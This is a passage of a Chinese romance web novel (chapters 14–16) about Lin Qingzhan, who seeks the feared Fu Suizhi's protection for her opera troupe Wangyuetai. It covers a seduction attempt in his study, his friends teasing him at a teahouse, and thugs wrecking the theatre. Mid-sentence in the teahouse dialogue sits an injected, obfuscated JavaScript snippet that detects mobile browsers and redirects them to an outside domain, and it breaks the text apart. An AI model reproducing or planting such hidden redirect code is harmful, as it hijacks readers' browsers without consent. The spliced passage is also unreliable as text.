他的房间在东边,二楼是个小阁楼,从小阁楼的深廊走过,到了前院的二楼就是书房。 傅随之每天晚上都会加班到半夜,隔天起来第一件事还是到书房办公。 原先小阁楼和书房并不互通,为了方便办公,他才让人打通了两处地方,这条路平日里只有他一个人进出。 其他人要上书房,都是通过楼下客厅的雕花扶梯上来。 今天早上,傅随之起身就去书房接了个国际电话商讨项目方案,听到楼下传来脚步声,以为是傅小灵,完全不在意,姿态悠然靠在咖色木椅。 他低着头,用标准的法语跟对方沟通,说到收益问题,眼神沉了几分,完全是谈判的严苛姿态,半点不退步。 不经意抬眸,看到站在楼梯口的林青盏,眼神随即沉了下来。 他的私人办公领域还没有人敢随意闯入过! 林青盏穿着一身海棠花刺绣旗袍,腰如束素,手臂白皙得像是雪凝般。 她五官长得极为柔美,脉脉眼中波,盈盈花盛处,明明该是纯真天然的姿态,可傅随之无端从那盈盈一笑里品出了点娇媚。 傅随之倚靠着椅背,微微昂着头,神色傲然,修长手指捏着手机,一通电话讲了许久。 林青盏并未出声,始终站在楼梯口,宛如雕塑。 傅随之视线落在她身上,耳畔还响着合作方的声音,对方醇厚的声音说着法语,声线不错,此刻落在傅随之耳朵却觉得极为聒噪。 他用法语说了句“现在忙,再谈”,直接挂断电话,切断了对方着急想争取的声音。 而后,他抬起头看向林青盏。 对上那双浅棕色眼眸时,林青盏胸膛里那颗心脏没来由咯噔了下。 傅随之依旧穿着黑色衬衫,矜贵中透着一股阴沉,这人向来稳得住,林青盏不开口,他便那样悠然依靠着,望向她,也不吭声。 最终,是林青盏败下阵来。 她迈步走到他面前站定,纯真眼眸望着傅随之,声音轻柔开了口,“打扰三爷了,青盏有一事相求。” 傅随之像是料定了她会过来找他,姿态悠然沉稳,眼神犀利中透着一股邪恶的恶趣味。 也是这几日相处下来,林青盏才懂得,难怪浮城上上下下都不敢得罪傅三爷,这人不仅是阴狠的代名词,看着就是专门吃人不吐骨头的。 他知道傅鸿源将她送过来是有所图,不忌惮不避讳,随着傅鸿源安排去带走了林青盏。 他知道林青盏不是他妹妹,稳得住不拆穿,还特意安排了一场隆重至极的宴会,叫来全浮城的人让他们都知道傅三爷身边多了一个女人,叫林青盏被架在那里下不来。 他知道傅鸿源急着想得到城北那块地,傅鸿源逼迫慕殇淙将自己的女人交出来,他不抗拒不推辞,就那么眼睁睁看着林青盏被她最钟意的慕殇淙出卖。 他也知道,傅鸿源和慕殇淙都是利己的人,为了利益什么事情都干得出来,林青盏既然已经牵扯其中,断然不可能不惹一片尘埃地脱身,但是他什么都不说也不表态,像是高高在上的神,看着林青盏经历苦难,只能低头来找他。 他知道她会来找他,会来求他,而他依旧是那副高高在上的姿态,将一切掌控在掌心。 林青盏不喜欢他这副模样,偏偏她还没有办法。 她抿了抿红唇,抬头再对上傅随之眼眸时,情绪稳定许多。 “三爷,能不能请你成为我的靠山?” 一句话说得轻柔,却极有分量,是带着笃定的。 傅随之手肘自然垂落在木椅扶手,抬起头望着林青盏,浅棕色眼眸里似有微光闪过,但还是一如既往的沉稳。 他不说话,更显得震慑人,林青盏都快有些受不了了,他才缓缓站起身,走到她面前。 他低下头靠近她,她被迫仰起头,身体稍微往后退。 “想成为我的女人?那得看看你值不值得。” 林青盏抿着嘴角,开诚布公地说出自己心底的想法,“听闻傅鸿源和三爷惯来不和,是因为这傅家继承权。这种豪门权利争夺,对于寻常百姓只当是豪门故事,但对于三爷您,应该不只是如此。” 傅随之挑了挑眉,示意她继续说下去。 “这几年傅鸿源在三爷面前闹腾得很,三爷任由他如此,必然不可能是因为怕他吧。” 她抬眸盯着傅随之,“是因为你妹妹,傅于然小姐,对不对?” 傅随之眼神阴翳。 “你父亲当年死于权利争夺之下,你妹妹在傅府被人带走,这一切很有可能是傅府内的人做的。你忌惮傅鸿源,不是因为你斗不过他,是因为你害怕你妹妹成了他手中的筹码,所以你行事终归还是没有太狠。三爷,我说得对么?” 傅随之冷笑了声,将人困在书桌前,修长手指掐住她的下巴,逼迫她抬起头。 “林小姐,太聪明的人死得早。” 林青盏也不畏惧,“反正都要死,死在三爷手下倒是不错的归宿。总比被那些阴险小人利用吃得骨头不剩好。” 傅随之的手劲儿还没松。 林青盏也没有躲开,继续说道:“三爷,全世界的人都知道你在找妹妹,如果真的有人存心不让你找到,你在明敌在暗,是你吃亏。” 傅随之冷眼看他。 “三爷,我可以帮你一起找妹妹。” “呵,你自己哥哥都找不到,还帮我找妹妹?” “我哥哥找不到,并不代表我就找不到你妹妹。抱走你妹妹的人,防的是你,不是我。” 林青盏抓住傅随之修长的食指,用自己纤细手指勾住他的,轻轻将他的手推开,反握住。 “三爷,我承认我跟慕殇淙有过不清楚的关系,所以突然被他送到你这儿来,我很诧异。现在他们为了逼迫我答应在你身边,拿望月台威胁我。你难道不觉得奇怪吗,为什么他们那么强烈想要让我留在你身边?” "还能是为什么?” “因为我跟你母亲长得极为相似,他们在赌,你会念着我这张脸,会对我与众不同。指不定他们就等着我在你身边待下去后,要通过我对你做什么。既然三爷前面将计就计,随他们将我推过来,那现在为何不继续,看看他们到底想要做什么?” 傅随之面无表情松开手,盯着她的神色并不好看。 林青盏想到兰青翎说得那句:“慕殇淙说,只给你一天时间,如果没有结果,会亲自让人过来将望月台拆了。” 又见到傅随之柴米油盐不进的模样,咬了咬红唇,慢慢将海棠旗袍的盘云扣解开一个。 “三爷,我可以发誓,从今天起成为你的人,绝对不会背叛。如果我做不到,就让我被上天收回。” 傅随之俊逸脸庞没有任何神色变化,那双眼眸更是没有波澜。 林青盏实在猜不准他的心思,纤细指尖勾住盘云扣,快要解开第二颗扣子时,如玉手腕被傅随之紧紧揣住。 突然的动作吓了她一跳,她是没料到他的掌心会如此炙热,贴着她肌肤,烫得她心间发颤。 下一秒,另一只宽阔的手掌贴着她纤细腰肢用力掐住,傅随之低头贴在她耳廓,滚烫的气息落下来。 “林青盏,你知不知道你在做什么?” 林青盏微微起身靠过去,贴住他,亲密无间的触觉让她感受到了他硬朗的弧度。 她歪了下头,红唇也贴在他耳朵边,“三爷,我将自己献给你,你敢不敢要?” 傅随之能感觉她纤细的手指挤进他指间,与他十指紧扣。 他的心往下沉。 - 今安茶楼的包厢,装潢偏古风,木地板和两边折叠的木门,搭配暗色调暖灯,看起来很像是电影里的画面,古风古韵。 身穿黑色衬衫的傅随之单手插兜往前走,傅慎和秦楠为他将两扇折叠门推开,看到浮梦今安其他几位已经在里面。 高大雄壮的唐郁东站在窗边抽烟,听到开门声转过身,露出那张凶狠的脸庞,傅随之神色丝毫没有波澜,扫过一眼,往黑色沙发走去。 顾宴迟和徐泽也在喝酒,纪时礼手里捏着一副扑克牌,看到傅随之走进来,修长手指捏着一张牌biu一下弹向傅随之。 傅随之随意举了下手,就将那张牌捏住,眼神冷得像是要发射出冰箭似的,顾宴迟倒吸了口气,就怕傅随之冲上来把纪时礼撂倒,揍一顿,纪时礼自己倒是不怕。 纪时礼顶着一头天然卷发,脸庞纤瘦得略显病态,明亮眼眸盯着傅随之手里的那张牌,面露喜色,“哇,红桃A,大爱心!” 他还双手在头顶举了个爱心,眨了眨眼睛露出贱兮兮的表情,“傅三,你最近走桃花运噢。恭喜恭喜!” 傅随之捏着那张牌直接弹到纪时礼脑门上,“滚!” 他没好气地走到黑色皮质沙发中央,对着他脑袋又是一巴掌,直接把纪时礼推到一边。 纪时礼立马又凑过来,“傅三,我说得没错吧,你最近走桃花运了,都有人往你身边送女人了。关键是你还留下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975873|177770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” 昨晚的晚宴就唐郁东因为在飞机上没参加,其他三人都去了,亲眼看着傅随之这种冷漠的万年冰棍,竟然让女人挽着手那么光明正大就出来了! 对于他们来说,这堪称世界奇观啊。 纪时礼将小脑袋搭在傅随之肩膀后面的沙发靠背上,明亮眼眸望着傅随之,“那女人不是慕殇淙的人?” 顾宴迟听不下去,挪过来,手掌捂住纪时礼的嘴巴,将人往后勾走,“你他妈要问就好好问,别老是问这种在雷点上蹦跶的问题!” 纪时礼挣脱开,“那这不是问题的重点吗?慕殇淙把自己的人都送过来了,傅三竟然还能让他们好好待着?” 傅随之随手端起桌上的陶瓷茶杯,仰头喝了杯茶,没有回答。 徐泽也双腿交叠坐在傅随之旁边,一双藏匿在银框眼镜下的锐利眼眸望向傅随之,“老三是想放长线钓大鱼。” “钓什么大鱼?”纪时礼问。 徐泽也一向聪明,所有事情都瞒不过他。 “小于然还没找到,老三现在还不想动他们。这次他们将那位林小姐送过来,不就是看着林小姐和大夫人长得很像,故意给送过来,想扰乱老三。” 纪时礼贼笑了声,“他们这样想就错了。他们也不看看傅三是什么人,铁石心肠、木人石心、冷血无情、冷酷无情,他这种男人连脱光送到床上的大美人都不会多看一眼,他怎么可能会被一个女人扰了心思。” 傅随之终于舍得给他一个眼神,笑容极冷,“废话太多。” “诶,傅三这就是你不对了,兄弟这是关心你。”纪时礼往后靠在顾宴迟身上,“你把那位林小姐放在身边,说是想看看她和慕殇淙要干什么,但感情这种事吧,就不是这么玩的。你小心把自己玩进去!” 傅随之冷笑,不以为然。 他傅三爷自认为压根没人玩得过他。 话音刚落下,面无表情的傅慎走了进来,“三爷,小灵来电话,说荣华园那边派了人过来,要请林小姐过去。” 傅随之冷眼看他,“我院子里的事什么时候轮得到那边的人指手画脚,让他们滚。” 傅慎面无表情地顿了下,在傅随之抬眸看过来时,再次开口,“小灵说,荣华园的人来之前,林小姐在辞别,说是要离开回望月台。” 听言,傅随之的神色又冷了三分。 很好,早上刚勾引了他,现在就想跑。 他冷笑着端起桌面的酒杯,仰头将杯中酒一口饮尽。 纪时礼和顾宴迟缓慢地察觉出他的不对劲,面面相觑。 傅随之压根不想理其他人,只顾着闷头喝酒,好一会儿后,叮嘱傅慎,“人不放。” 傅慎领命出去给傅小灵通消息。 其他人总算是品出点不同寻常,纪时礼和顾宴迟笑嘻嘻盯着傅随之,就等着看好戏。 纪时礼说要跟顾宴迟打赌,“傅三这次肯定无法全身而退。” 顾宴迟笑他,“赌这个那等的时间可太长了。我跟你赌,三哥坐不了一个小时。” 纪时礼摇头,“傅三这点定力应该还是有的。” 顾宴迟:“那就赌赌看。” 半个小时后,傅随之借口离开,纪时礼立马跳起来,跟顾宴迟击掌,“我说什么呢!这个傅三肯定会把自己玩进去!你看他还说不在意,听到那姑娘的事情,立马就回去了!” 顾宴迟踹了他一脚,“特么话都让你说了!明明是我说老三坐不住,一个小时内肯定回去。” “那我也没输啊。我也觉得傅三这次肯定得载!” 站在窗边的唐郁东笑了声,“你小子是最近太闲了,脑子都开始不清楚。傅三是什么人,怎么可能因为女人乱了分寸。” 纪时礼和顾宴迟嗤笑一声,“大哥你这种女人绝缘体就别参与这种感情讨论了。” 被鄙视的唐郁东挥了下手,吓得纪时礼抱头躲进顾宴迟怀里。 顾宴迟很是嫌弃地将人推开。 而此刻,黑色迈巴赫极速从柏油路面行驶而过。 今晚是跟自己兄弟聚会,傅随之没有防备喝多了,这会儿脑袋昏昏沉沉的,人往后靠,闭着眼睛休憩。 突然想起纪时礼说的那句,“对脱光光送到床上的美人都不会多看一眼。” 之前不是没有这种情况发生,结果是那家公司老总直接被他送出浮城,所谓的美人,他确实连看一眼都懒得。 因为这件事,纪时礼总怀疑他性.无.能,但早上林青盏靠过来的时候,他有感觉了。 15.第 15 章 日落后,黑夜像是撒下的浓墨,从天边垂落下来,将整个海棠苑包裹住。 李婶和傅小灵从左右分别往走廊尽头走去,将走廊上的海棠花灯一盏一盏点亮。 黑风呼啸而过,吹得灯笼摇摇晃晃。 林青盏坐在房间的窗台边,两只纤细手掌搭在窗棂,下巴点在手背,双眼无神望着外面的风景,数着她们点了几盏灯。 到最后,她自己也没数清楚,低头趴在窗户上,神色满是懊恼。 她也不知道自己怎么就有这个胆子,竟然敢去书房勾引傅随之! 她额头搭在手背,低头盯着木地板,脑海里闪过早上的画面。 书房里两人面对面站着,她纤细手指挤进傅随之指间,与他十指紧扣着,身体主动贴过去,严丝缝合,红润嘴唇贴着他弧度明显的喉结,轻轻往上蹭着。 很快,她就感觉到了某些弧度的变化。 硬朗,清晰。 最后,是傅随之掐着她的白皙脖颈将她推开,压在书桌上。 他俯视着她,眼神毫无波澜。 林青盏怎么都没想到,她人生中第一次勾引男人企图得到他庇护,以失败告终,而且他看着她的眼神没有丝毫温度,反倒像是看戏的。 那之后,傅随之照旧出门去上班,到现在都没回来。 林青盏以为他是刻意避开自己,但转念一想,傅随之傅三爷是何人,必然不可能受她影响的。 早就听闻傅随之生性凉薄,对女人完全不感兴趣,他的身边从来没有女人能靠近过。 果然这种消息不可能空穴来风,亲身尝试后,她才知道傅三爷是多么令人畏惧的存在。 别说勾引他,当时他抵在她脖颈的手只要再用三分力,她可能就当场毙命了。 林青盏胸膛里那颗心砰砰砰跳动着,脑海里突然闪过一个念头:她必须逃走!傅随之这种人,她招惹不起! 望月台的事情只能另想办法了,实在不行她就去找顾蝉。 这么想着,她也当真这么做了。 她被带来傅府这几天,所有吃穿都是傅随之叫人安排妥当的,自己的行李倒是没有。 林青盏站起身,两手空空地往院子外走去。 傅小灵刚将灯都点上,见状走过来笑着问:“姑娘是需要什么东西,我叫人送过来就是了。” 林青盏思考片刻,莞尔回道:“之前住在府上,是三爷想确认我的身份,现在结果出来,我并不是你们家小姐,我想着也该离开了。” 傅小灵神色顿住。 “原本是想着等三爷回来跟他打声招呼再离开,眼见时间都这么晚了,也不好再叨扰下去,我就先走了,烦请小灵姑娘帮我告知三爷一声。” 她迈步要往外面走,却被傅小灵拦住,“姑娘,请留步。” 林青盏想过他们不会轻易放人,刚想开口解释,不想门口突然走进来一位中年男子,气沉丹田呵斥:“来人。” 吓了林青盏一跳。 傅小灵倒是镇定,转身看向那人,“常叔,有什么事吗?” 常叔看了眼旁边站着的林青盏,眼神里透着些许鄙夷,“听说海棠苑进来了位林小姐,老爷子有请,让她跟我来。” 这人神色很是傲然,看着就是倚老卖老的家伙,傅小灵却全然不怕他,“现在恐怕不能过去。” 常叔冷脸,“这可是老爷子请人!” 傅小灵脸上依旧挂着笑容,“常叔,这可是海棠苑。” 三爷的地盘,即便是老爷子的人来了,也不能放肆! 说罢,李婶留下应付常叔,傅小灵将林青盏送回房间。 门关上后,林青盏转身看着繁华复杂的古木拔步床,脑袋晕乎乎的。 这怎么又回来了? 外面传来了些许说话声,怕是那位常叔不罢休,林青盏就没再走出去,干脆躺下休息。 她心底想着等明天跟傅随之交代一声再离开,她便安心地睡下了。 睡梦中迷迷糊糊的,她听到门外有敲门声,缓了会儿,她纤细手掌拿来手机看了眼,发现自己不过睡下两个小时。 门外传来傅小灵的声音,询问她是否睡下了,能不能起来。 林青盏想起之前来过的那位常叔,还以为是有什么重要的事情,赶忙起身,披了件白色的薄衫外套,走过去打开门。 浓重的夜色倾泻下来,像是一块墨色天幕笼罩下来,整个海棠苑寂静无声。 林青盏眨了眨眼看向站在门口的傅小灵,听到她尴尬说道:“林小姐,三爷在前厅等候,请姑娘现在过去一趟。” 林青盏没敢耽搁,脚步匆忙走向前厅。 海棠苑的建筑都是老宅古风,走廊一侧是木窗房间,另一侧连着院子,满是浓郁的花香。 林青盏踏着花香,步入前厅,站在浓郁墨色下的四方院里,抬眸看到客厅的大门敞开,里面亮着暖橙色的光。 傅随之姿态悠然靠在木沙发上,黑色西装外套被脱下来随意挂在旁边,他的衬衫衣扣被解开了两颗,露出线条分明的脖颈和锁骨,衬衫袖口被解开露出精壮的手臂,自然垂在扶手。 这人长得过于精致,五官立体,像是雕刻的般矜贵,过于完美,再加上那阴沉的眼眸,会让人觉得有距离感。 林青盏身形蓦然顿住,看见头顶折射下来的靡丽光线,将原本阴沉可怕的男人身形染上了一层柔和。 听到轻缓脚步声,闭着眼的傅随之豁然睁开眼睛,转过淡漠视线落在她身上。 许是醉酒的关系,他以往锐利的眼眸竟沾染着一股难以窥见的柔软,林青盏对上那柔和些许的浅棕色眼眸,心底莫名其妙荡了下,垂在身侧的纤细指尖无意识地揪住外套。 “过来。” 眼眸看着温柔了,他的声音却依旧冷淡得不像话,林青盏的情绪随即被拉回来。 她迈步走过去,听到傅随之再次出声,“醒酒汤会煮吗?” 林青盏疑惑点点头,又听到傅随之说:“煮个醒酒汤。” “……” 林青盏也不知道为什么自己凌晨十二点要在厨房里翻箱倒柜找食材煮解酒汤。 她找出家用食材,手法熟练地放进去。 微火炖着的时,林青盏站在面前盯着,忽然感觉到有一股阴沉在靠近,她转过身,看到黑影压过来,她也连带着被推到旁边的地柜上。 她疑惑抬起眼眸,眨了眨眼睫看向他。 如此近距离的逼近,傅随之神色没有半分变化,宽阔手掌压在台面,声音低沉的很,“想走?” 林青盏就没搞懂,说话一定要靠这么近? 她垂眸看了眼贴过来的壮硕身躯,黑色衬衫下紧致的肌肤线条她都能感觉到,她有点无法思考。 三秒后,她镇定下来,抬眸再次对上傅随之的双眼,“我本来也不是这个地方的,是三爷为确认我的身份才带我来的,现在结果出来知道我不是你妹妹。显而易见,我也不用再待在这里。” “呵,我看你早上可不是这种态度。” 说起早上的事情,林青盏就恨不得找个洞钻进去。 她转过身想去关火,却被傅随之拦住,她气得堵他一句,“早上三爷也不是这种态度!” 是谁对她的主动冷笑置之,压根没接受的!现在 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“我们普通人不过是这世界的蝼蚁,即便我们再努力,还是敌不过你们的一句话。明明什么关系都没有,你想带走我就将我带走,他们想将我卖了就卖了,我不乐意我想抗拒都不行。因为你们手里捏着别人没有的财权权力,而我只有背后一个望月台,只要以此要挟,就可以掌控我。即便我低下头来求你,你也能拒绝。那我为什么不能主动离开?” 傅随之神色依旧,低头望入她眼眸,“早上那不叫低头,是诱惑。” 林青盏气得咬住嘴唇。 傅随之胜券在握地逼近,“林小姐,求人要有求人的姿态。” - 林青盏虽然从小混迹望月台见过各种各样的嘴脸,但这些年白云和台里的师兄师姐将她护得很好,她压根没学会要弯腰卑微到尘埃里的活法。 昨天清晨那次的主动靠近和引诱,已经耗费了她所有勇气,她是断然没有力气再做第二次。 许是林青盏没拿出该有的求人姿态,傅随之并没有开口答应要帮助望月台。 所以,隔天清晨林青盏还是决定离开傅府。 自从来到这里后,林青盏只离开过一次,还是跟着傅随之出去的,对于傅府的地形,她完全不熟悉,即便是走出了海棠苑,恐怕都走不出傅府。 她也知道傅府不是什么小门小户,能随便她乱逛,因此要离开的时候,她还是去找了傅小灵,请她安排人带路。 傅小灵脸上挂着甜美笑容,安抚她在房间里稍等片刻,转身就往东边傅随之的房间疾步走去。 闷头走进院子时,刚巧撞进傅慎怀里,差点摔倒,还好傅慎拉住了她。 在外面傅慎看着极为凶狠,对于傅小灵倒是和颜悦色,“怎么走这么急?” “阿慎,三爷起来没?” “没起。昨晚喝那么多,肯定要中午才起来。” “那怎么办?林小姐要走了,我不知道该不该给她备车。” 她不知道傅随之的想法,如果备车把人送走了,傅随之醒来恐怕会大发雷霆,可就算她不给备车,瞧着林青盏那情绪,只怕徒步也会离开。 傅慎望着神色着急的傅小灵,说道:“让他们备车,送她出去。” “可是——” “没事,你尽管去备车。三爷问起,我担着。” 傅小灵望着傅慎,又看了看闭门的房间,没办法只能让司机先送林青盏出去。 望着林青盏离开的背影,傅小灵感慨了声,“那天早上,我看到林小姐和三爷在书房里——我还以为林小姐会住下。没想到今天就离开了。” 好不容易来了个敢和傅随之坦诚说话的,傅小灵还以为傅随之能找到个陪伴他的人,没想到结果还是如此。 傅慎倒是不以为然。 他拍了拍她的脑袋,“走就走了。说不定明天就回来了。” 16.第 16 章 黑色的迈巴赫,傅随之的专属驾座,停靠在望月台大门口,吸引了众人的目光。 司机下车,将车门打开,林青盏下了车。 她没有注意那些视线,也不去听他们窸窸窣窣的议论,迈步望里面走去。 她直接去了前院的戏台,进门就看到原本高高挂起的牌匾被丢在地上,碎成两半,走廊上挂着的灯笼被肆意捅破,屋里的桌椅都被推倒,有些还被折断,头顶挂着的彩带灯笼掉落下来,满地狼藉,混乱不堪。 她紧蹙眉宇,手掌轻微颤抖着,是被气的。 这个慕殇淙真的太过分了! 在帮忙打扫的何青素看到她,惊诧叫出声,“师姐,你回来了!” 众人转身看向她。 兰青翎疾步走过来,拉住她的手腕,上下左右打量了她一番,“小盏,你没事吧?” 林青盏摇头,“这些都是他们派人来弄的?” 兰青翎看了眼混乱的场面,轻叹了口气,“你刚回来,先回房间休息会儿。” 林青盏没有答应,转身跟着大家伙儿一起收拾。 何青素边将她旁边倒掉的椅子拉起来,边问林青盏,“师姐,你和慕总到底是怎么回事啊?” 林青盏也不知道该从何说起,甚至于连诉说都感觉很无力。 何青素瘪嘴,“昨天那帮人突然冲进来,把招牌砸了,把所有桌椅都砸烂了,还舞台所有背景布都扯烂了,说是要给我们一个教训,让我们好好记住,还说望月台不可能再继续开下去,让我们趁早收拾东西滚出浮城。” 望月台在浮城立足这么多年,他们一群人更是从小在这个院子里长大的,突然的变故让所有人都不知所措,更多的还是没有真实感。 他们压根不相信原本一直庇护他们的慕殇淙会做出这样的事情,他们心存侥幸,没想到今天那帮人又来了。 他们更加张狂,几乎毁了整个院子,还弄伤了几个小师弟,搞得人心惶惶不说,连外头街上的人都知道,望月台得罪了慕家,在浮城要混不下去了。 何青素叹声叹气,“师姐,你跟慕总不是那种关系吗?你们怎么会突然就……你们是吵架了?” 林青盏抱着被砸破的灯笼望外面走,何青素也跟着一起收拾,两人将破碎的东西都倒入垃圾桶里。 转过身时,林青盏看到摇曳的紫藤花,心底猛地抽痛了一下。 她停下脚步,突然开了口,“小素,说实话,这个问题我也不知道答案。” 何青素转身看她。 “原本好好的人,突然就变了,为了利益可以不折手段,包括身边的人都可以利用和威胁。这样的人,我也看不透。” 那天晚上亲耳听到慕殇淙说得那些威逼的话语,林青盏心底感觉像是被戳破了一个洞,怎么都无法弥补,满是难过涌上心头。 只是那天是在傅府,她压根不敢有什么情绪。 到了此刻,她回到她最熟悉的望月台,她才敢让自己放开那些崩溃无法宣泄的情绪。 “他以我为筹码,跟傅三爷换了一场利益。我不从,他就以望月台相威胁。” 林青盏纤细指尖紧紧握成拳头,“我是人,不是什么商品,做不到随意他们送来送去,还无动于衷。” 何素青一时间不知道该如何回答。 很快,朝露和白云走了过来,将林青盏叫入屋里。 林青盏在木椅落座,双手搭在腿上,垂眸等候着台里的安排。 朝露哀叹了一声,也是不知道该怎么说,他们都知道这件事虽然是林青盏引起的,但压根怪不到她身上,就是无妄之灾。 白云是女人,多少懂得林青盏的苦,宽慰道:“事已至此,你不要担忧苦恼,只能说望月台该有这一波折。我跟你师叔商量好了,浮城待不下去了,我们可以搬迁去南城。” 林青盏抬眸看向白云。 “从浮城到南城的搬迁,选址和宣传都需要点时间,刚好这段时间我们也能打包行李过去,趁着这个时间我们团里的人也都能好好休息休息。” 林青盏知道白云都是宽慰她的,从浮城到南城不只是路程远,他们在浮城待了几十年,人缘不少,可还是走到被赶走这一步,去南城就能安然立足? 这些谁都无法保证。 只是现在他们全然没有办法罢了。 朝露和白云宽慰了她几句,就让她回房间休息去了。 林青盏坐在书桌前,原是打算收拾点东西,刚好翻出相册,翻过去看到的都是留在望月台的生活足迹。 刚开始到望月台的时候,她心底害怕但是不敢说出来,害怕别人觉得她很麻烦,说不定会将她送走,可是兰青翎看出了她的心思,大晚上过来陪着她睡觉,哄着她安下心来。 阮青山平日里虽然话不多,但他是个很会照顾人的师兄,平日里都会多做点她喜欢吃的菜,让她不至于饿肚子。 何青素比她小了四岁,而且她是唯一一个被家里人送来望月台学习的,她平日里还会回家小住,偶尔会带林青盏回去,也会给她带很多好吃的。 当年她第一次上大台的时候,白云还给他们几个拍了张合照,转眼间那几个小孩子长成了能够独立撑台的角儿。 望月台也越办越好了。 她不想让望月台就此在浮城消失! 她想着要不给顾蝉打个电话,看她哥哥顾宴迟能不能出手帮忙。 慕家虽然是豪门,但跟五大家族的顾家相比自然差远了。 只是这事会让顾宴迟无故和傅鸿源对上,不知道顾宴迟能不能答应? 她正在收拾东西的时候,阮青山亲自过来找人,她以为阮青山是有话要说,打开房门,想让他进屋坐会儿。 阮青山摇头,“小盏,还记得当年我们几个首亮相的那张戏吗?” 林青盏刚刚才看到那时的照片,心底略为感慨,“那是我师父退下来的最后一场戏,唱的《林冲》。” 那时候兰青翎已长得亭亭玉立,能够扮演林妻的角色。 阮青山也挑大梁扮演了最重要的反派,林青盏和何青素虽然是不过几句台词的角色,却也已经满足。 阮青山从小在望月台长大,是团长朝露最得意的徒弟,他近几年已经开始接手台里的一部分事务,经过历练,人越发沉稳。 他穿着一身浅灰色休闲服,眉眼满是认真,“小盏,这件事我们都知道是无妄之灾,你也不要想太多,到了南城我们好好出力让望月台能扎根下来就行。” 所有人都反过来安慰她时,她自己反而更加愧疚。 “事已至此,我和小翎商量好了,今晚开最后一场。我们就唱《林冲夜奔》!走吧!” - 《林冲夜奔》是昆曲中的经典武戏,出自明代李开先的传奇《宝剑记》。故事讲述了林冲被高俅陷害后,走投无路,最终决定夜奔梁山的故事。全剧以林冲的独白和唱段为主,展现了他在逃亡过程中的悲愤、无奈与决绝。(注解1) 《点绛唇》《驻马听》等几幕戏曲都是林冲一人的独唱,要加入其他角色反而削减了戏曲的氛围和冲突,导致一出戏能上台的角色不多,所以平日里台里是很少排这场戏的。 今日所有人的兴致却出奇的高,因为他们像极了林冲,被陷害被逼迫,走投无路,只能通过戏曲来宣泄心中的情绪。 后台里,阮青山对着铜镜细细描画着林冲的脸谱,镜中的面容渐渐被油彩覆盖,只余下一双清亮的眼睛。 林青盏为他将眉毛划过最后一笔,妆容成了。 兰青翎依旧扮演林冲妻子张氏,跟阮青山配合默契。 林青盏和何素青扮演的是梁山好汉的家属,戏份不多,因而林青盏在舞台边架起古筝跟着伴奏。 她轻扬水袖,纤细指尖点在古筝上做着准备,目光落在台下,往日望月台每出戏都是座无虚席,而此刻台下没有任何观众,空荡荡无一人。 锣鼓声起,戏曲开场。 “呀——”一声长啸,扮演林冲的阮青山踩着鼓点登场。 他的声音带着几分悲凉,“想俺林冲,被高俅那厮陷害,发配沧州.....” 林青盏纤细指尖随意撩拨,寂寥的古筝声犹如空鸣般环绕着。 阮青山声线很是平稳,唱腔不夸张却给人一股很强劲的穿透力。 这一出“夜奔”,让台下所有望月台的人员心中一阵悲戚的同时,隐隐涌起一股热血。 林青盏望着舞台上不停疾驰的“林冲”,她仿佛能够深刻体会林冲被逼上梁山的无奈,满腔悲愤无处诉说。 心底满是不甘。 当年慕殇淙救了她一命,她这些年无名无分跟着他,也为他办过不少事情,没想到结果伤了自己,又连累了望月台。 她知道只要傅随之点头,望月台惹上的这些纷扰都能烟消云散,望月台无需关门不用搬迁到南城,她的所有家人都不用为此奔波劳累。 可是她没有真的费心思去讨好傅随之,没能让傅随之点头答应。 她心中烦闷不已,纤细指尖撩拨得越快,低沉悲戚的古筝声伴随着林冲的架马声,就快要冲破这灰突突的阴沉天际—— 就在这时,戏楼的大门被人一脚踹开。 “都给老子砸!” 十几个彪形大汉冲了进来,手持棍棒,见东西就砸,朝露和白云豁然站起身,张叔已经带头冲了上去,“住手!你们这群人怎么又来了!” 戏楼里顿时乱作一团,桌椅翻倒,茶盏碎裂,惊叫声此起彼伏。 林青盏推开古筝站起身,抬眸看到彪形大汉随手挥舞,将木椅砸在木门上,“哐当”一声,震耳欲聋。 白云:“你们别砸了!” 朝露:“住手!住手!“ 过来砸场子的人很嚣张,抓起木椅用力往舞台砸过去,“砰”的一声,直接给砸出一个黑洞。 阮青山气极了,冲过去拽住那个男人的手臂,想将人推开,反倒是被踹倒在地。 林青盏怕他受伤,疾步走过去,弯腰想扶起阮青山,“师兄!” 阮青山被猛地一推,扭到了脚,挣扎着想起身,抬眸看到那大汉举着椅子就要往他们这边砸来,他本能将林青盏推开,“小心!” 林青盏抬起头,看到那粗木椅子悬在头顶,吓得脸色发白。 就在那椅子要被砸下来时,林青盏慌忙往旁边躲开,与此同时,有一双宽阔的手掌用力抓住那木椅,没让木椅落下来砸到人。 没听到木椅砸落的声音,林青盏疑惑抬起头,就那么对上了那双浅棕色眼眸。 是傅随之! 傅随之一身黑色西装,逆光而立,脸庞轮廓锐利又极为深沉,眼神犹如寒霜,反手拽住木椅很是轻松就将彪形大汉转过来,猛地一抬脚,直接将人踹飞。 林青盏纤细手掌撑在地上,原是想站起身,没料被傅随之拽住如玉手腕用力一提,整个人跌入结实胸膛里。 她还未反应,如柳腰肢被炙热的手掌掐住! 这个人依旧如此霸道! 傅随之这趟过来,身后除了傅慎和秦楠,还有数十名保镖,个个训练有素,疾步冲进来,将作乱的大汉都制住,丢出望月台,轻松结束了这场闹剧。 朝露和白云万分感谢,将傅随之恭敬迎进后花园凉亭,奉上香茶,连连点头感谢,只是傅随之并不理会,眼神始终落在林青盏身上。 后花园角落里栽种的海棠花还在开着,隐隐有要凋落的现象,花蕾弯着腰好似要垂落下去。 林青盏目光顿了顿,还是转身对上那双犀利的浅棕色眼眸,“今天多谢三爷出手相助。” “谢?”傅随之冷眉挑起,“你拿什么谢?” “……” 她定睛看他,发现这人还真的是,不止面上看着犀利阴沉,就说话也很毒,从未将人放在眼里的姿态。 